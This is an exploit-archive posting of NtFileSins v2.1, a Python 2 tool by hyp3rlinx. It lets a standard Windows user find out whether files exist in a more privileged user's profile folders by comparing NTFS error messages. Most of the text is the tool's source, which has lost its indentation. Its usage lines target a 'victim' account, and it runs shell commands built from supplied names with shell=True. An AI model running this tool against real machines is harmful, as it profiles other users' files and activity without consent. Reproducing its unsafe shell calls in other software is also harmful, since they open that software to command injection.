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Windows File Enumeration Intel Gathering Tool 2.1

Windows File Enumeration Intel Gathering Tool 2.1
Posted Sep 8, 2019
Authored by hyp3rlinx | Site hyp3rlinx.altervista.org

NtFileSins.py is a Windows file enumeration intel gathering tool.

tags | exploit
systems | windows
SHA-256 | f8aac1406e57d94df90e96d6fd328224c8b121eb8ae28317373383dcdea34c3d

Windows File Enumeration Intel Gathering Tool 2.1

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from subprocess import Popen, PIPE
import sys,argparse,re

# NtFileSins v2.1
# Added: Check for Zone.Identifer:$DATA to see if any identified files were downloaded from internet.
# Fixed: save() logic to log report in case no Zone.Identifiers found.
#
# Windows File Enumeration Intel Gathering.
# Standard users can prove existence of privileged user artifacts.
#
# Typically, the Windows commands DIR or TYPE hand out a default "Access Denied" error message,
# when a file exists or doesn't exist, when restricted access is attempted by another user.
#
# However, accessing files directly by attempting to "open" them from cmd.exe shell,
# we can determine existence by compare inconsistent Windows error messages.
#
# Requirements: 1) target users with >= privileges (not admin to admin).
# 2) artifacts must contain a dot "." or returns false positives.
#
# Windows message "Access Denied" = Exists
# Windows message "The system cannot find the file" = Not exists
# Windows returns "no message" OR "c:\victim\artifact is not recognized as an internal or external command,
# operable program or batch file" = Admin to Admin so this script is not required.
#
# Profile other users by compare ntfs error messages to potentially learn their activities or machines purpose.
# For evil or maybe check for basic malware IOC existence on disk with user-only rights.
#
#======================================================================#
# NtFileSins.py - Windows File Enumeration Intel Gathering Tool v2.1 #
# By John Page (aka hyp3rlinx) #
# Apparition Security #
#======================================================================#

BANNER='''
_ _______________ __ _____ _
/ | / /_ __/ ____(_) /__ / ___/(_)___ _____
/ |/ / / / / /_ / / / _ \\__ \ / / __ \/ ___/
/ /| / / / / __/ / / / __/__/ / / / / (__ )
/_/ |_/ /_/ /_/ /_/_/\___/____/_/_/ /_/____/ v2.1
By hyp3rlinx
ApparitionSec
'''

sin_cnt=0
internet_sin_cnt=0
found_set=set()
zone_set=set()
ARTIFACTS_SET=set()
ROOTDIR = "c:/Users/"
ZONE_IDENTIFIER=":Zone.Identifier:$DATA"

USER_DIRS=["Contacts","Desktop","Downloads","Favorites","My Documents","Searches","Videos/Captures",
"Pictures","Music","OneDrive","OneDrive/Attachments","OneDrive/Documents"]

APPDATA_DIR=["AppData/Local/Temp"]

EXTS = set([".contact",".url",".lnk",".search-ms",".exe",".csv",".txt",".ini",".conf",".config",".log",".pcap",".zip",".mp4",".mp3", ".bat",
".wav",".docx",".pptx",".reg",".vcf",".avi",".mpg",".jpg",".jpeg",".png",".rtf",".pdf",".dll",".xml",".doc",".gif",".xls",".wmv"])

REPORT="NtFileSins_Log.txt"

def usage():
print "NtFileSins is a privileged file access enumeration tool to search multi-account artifacts without admin rights.\n"
print '-u victim -d Searches -a "MS17-020 - Google Search.url"'
print '-u victim -a "<name.ext>"'
print "-u victim -d Downloads -a <name.ext> -s"
print '-u victim -d Contacts -a "Mike N.contact"'
print "-u victim -a APT.txt -b -n"
print "-u victim -d -z Desktop/MyFiles -a <.name>"
print "-u victim -d Searches -a <name>.search-ms"
print "-u victim -d . -a <name.ext>"
print "-u victim -d desktop -a inverted-crosses.mp3 -b"
print "-u victim -d Downloads -a APT.exe -b"
print "-u victim -f list_of_files.txt"
print "-u victim -f list_of_files.txt -b -s"
print "-u victim -f list_of_files.txt -x .txt"
print "-u victim -d desktop -f list_of_files.txt -b"
print "-u victim -d desktop -f list_of_files.txt -x .rar"
print "-u victim -z -s -f list_of_files.txt"

def parse_args():
parser.add_argument("-u", "--user", help="Privileged user target")
parser.add_argument("-d", "--directory", nargs="?", help="Specific directory to search <e.g. Downloads>.")
parser.add_argument("-a", "--artifact", help="Single artifact we want to verify exists.")
parser.add_argument("-t", "--appdata", nargs="?", const="1", help="Searches the AppData/Local/Temp directory.")
parser.add_argument("-f", "--artifacts_from_file", nargs="?", help="Enumerate a list of supplied artifacts from a file.")
parser.add_argument("-n", "--notfound", nargs="?", const="1", help="Display unfound artifacts.")
parser.add_argument("-b", "--built_in_ext", nargs="?", const="1", help="Enumerate files using NtFileSin built-in ext types, if no extension is found NtFileSins will switch to this feature by default.")
parser.add_argument("-x", "--specific_ext", nargs="?", help="Enumerate using specific ext, e.g. <.exe> using a supplied list of artifacts, a supplied ext will override any in the supplied artifact list.")
parser.add_argument("-z", "--zone_identifier", nargs="?", const="1", help="Identifies artifacts downloaded from the internet by checking for Zone.Identifier:$DATA.")
parser.add_argument("-s", "--save", nargs="?", const="1", help="Saves successfully enumerated artifacts, will log to "+REPORT)
parser.add_argument("-v", "--verbose", nargs="?", const="1", help="Displays the file access error messages.")
parser.add_argument("-e", "--examples", nargs="?", const="1", help="Show example usage.")
return parser.parse_args()


def access(j):
result=""
try:
p = Popen([j], stdout=PIPE, stderr=PIPE, shell=True)
stderr,stdout = p.communicate()
result = stdout.strip()
except Exception as e:
#print str(e)
pass
return result


def artifacts_from_file(artifacts_file, bflag, specific_ext):
try:
f=open(artifacts_file, "r")
for a in f:
idx = a.rfind(".")
a = a.strip()
if a != "":
if specific_ext:
if idx==-1:
a = a + specific_ext
else:
#replace existing ext
a = a[:idx] + specific_ext
if bflag:
ARTIFACTS_SET.add(a)
else:
ARTIFACTS_SET.add(a)
f.close()
except Exception as e:
print str(e)
exit()


def save():
try:
f=open(REPORT, "w")
for j in found_set:
f.write(j+"\n")
f.close()
except Exception as e:
print str(e)


def recon_msg(s):
if s == 0:
return "Access is denied."
else:
return "\t[*] Artifact exists ==>"


def echo_results(args, res, x, i):
global sin_cnt
if res=="":
print "\t[!] No NTFS message, you must already be admin, then this script is not required."
exit()
if "not recognized as an internal or external command" in res:
print "\t[!] You must target users with higher privileges than yours."
exit()
if res != recon_msg(0):
if args.verbose:
print "\t"+res
else:
if args.notfound:
print "\t[-] not found: " + x +"/"+ i
else:
sin_cnt += 1
if args.save or args.zone_identifier:
found_set.add(x+"/"+i)
if args.verbose:
print recon_msg(1)+ x+"/"+i
print "\t"+res
else:
print recon_msg(1)+ x+"/"+i


def valid_artifact_name(sin,args):
idx = "." in sin
if re.findall(r"[/\\*?:<>|]", sin):
print "\t[!] Skipping: disallowed file name character."
return False
if not idx and not args.built_in_ext and not args.specific_ext:
print "\t[!] Warning: '"+ sin +"' has no '.' in the artifact name, this can result in false positives."
print "\t[+] Searching for '"+ sin +"' using built-in ext list to prevent false positives."
if not args.built_in_ext:
if sin[-1] == ".":
print "\t[!] Skipping: "+sin+" non valid file name."
return False
return True


def search_missing_ext(path,args,i):
for x in path:
for e in EXTS:
res = access(ROOTDIR+args.user+"/"+x+"/"+i+e)
echo_results(args, res, x, i+e)


#Check if the found artifact was downloaded from internet
def zone_identifier_check(args):

global ROOTDIR, internet_sin_cnt
zone_set.update(found_set)

for c in found_set:
c = c + ZONE_IDENTIFIER
res = access(ROOTDIR+args.user+"/"+c)
if res == "Access is denied.":
internet_sin_cnt += 1
print "\t[$] Zone Identifier found: "+c+" this file was downloaded over the internet!."
zone_set.add(c)


def ntsins(path,args,i):
if i.rfind(".")==-1:
search_missing_ext(path,args,i)
i=""
for x in path:
if i != "":
if args.built_in_ext:
for e in EXTS:
res = access(ROOTDIR+args.user+"/"+x+"/"+i+e)
echo_results(args, res, x, i+e)
elif args.specific_ext:
idx = i.rfind(".")
if idx == -1:
i = i + "."
else:
i = i[:idx] + args.specific_ext
res = access(ROOTDIR+args.user+"/"+x+"/"+i)
echo_results(args, res, x, i)


def search(args):
print "\tSearching...\n"
global ROOTDIR, USER_DIRS, ARTIFACTS_SET

if args.artifact:
ARTIFACTS_SET = set([args.artifact])

for i in ARTIFACTS_SET:
idx = i.rfind(".") + 1
if idx and args.built_in_ext:
i = i[:idx -1:None]
if len(i) > 0 and i != None:
if valid_artifact_name(i,args):
#specific user dir search
if args.directory:
single_dir=[args.directory]
ntsins(single_dir,args,i)
#search appdata dirs
elif args.appdata:
ntsins(APPDATA_DIR,args,i)
#all default user dirs
else:
ntsins(USER_DIRS,args,i)


def check_dir_input(_dir):
if len(re.findall(r":", _dir)) != 0:
print "[!] Check the directory arg, NtFileSins searches under c:/Users/target by default see Help -h."
return False
return True


def main(args):

if len(sys.argv)==1:
parser.print_help(sys.stderr)
sys.exit(1)

if args.examples:
usage()
exit()

if not args.user:
print "[!] No target user specified see Help -h"
exit()

if args.appdata and args.directory:
print "[!] Multiple search directories supplied see Help -h"
exit()

if args.specific_ext:
if "." not in args.specific_ext:
print "[!] Must use full extension e.g. -x ."+args.specific_ext+", dot in filenames mandatory to prevent false positives."
exit()

if args.artifact and args.artifacts_from_file:
print "[!] Multiple artifacts specified, use just -f or -a see Help -h"
exit()

if args.built_in_ext and args.specific_ext:
print "\t[!] Both specific and built-in extensions supplied, use only one."
exit()

if args.specific_ext and not args.artifacts_from_file:
print "\t[!] -x to be used with -f flag only see Help -h."
exit()

if args.artifact:
if args.artifact.rfind(".")==-1:
print "\t[!] Artifacts must contain a .ext or will result in false positives."
exit()

if args.directory:
if not check_dir_input(args.directory):
exit()

if args.artifacts_from_file:
artifacts_from_file(args.artifacts_from_file, args.built_in_ext, args.specific_ext)

if not args.artifact and not args.artifacts_from_file:
print "[!] Exiting, no artifacts supplied see Help -h"
exit()
else:
search(args)

if sin_cnt >= 1 and args.zone_identifier:
zone_identifier_check(args)

if args.save and len(found_set) != 0 and not args.zone_identifier:
save()

if args.save and len(zone_set) != 0:
found_set.update(zone_set)
save()

print "\n\tNtFileSins Detected "+str(sin_cnt)+ " out of %s" % str(len(ARTIFACTS_SET)) + " Sins.\n"

if args.zone_identifier and internet_sin_cnt >= 1:
print "\t"+str(internet_sin_cnt) + " of the sins were internet downloaded.\n"

if not args.notfound:
print "\tuse -n to display unfound enumerated files."
if not args.built_in_ext:
print "\tfor extra search coverage try -b flag or targeted artifact search -a."

if __name__ == "__main__":
print BANNER
parser = argparse.ArgumentParser()
main(parse_args())

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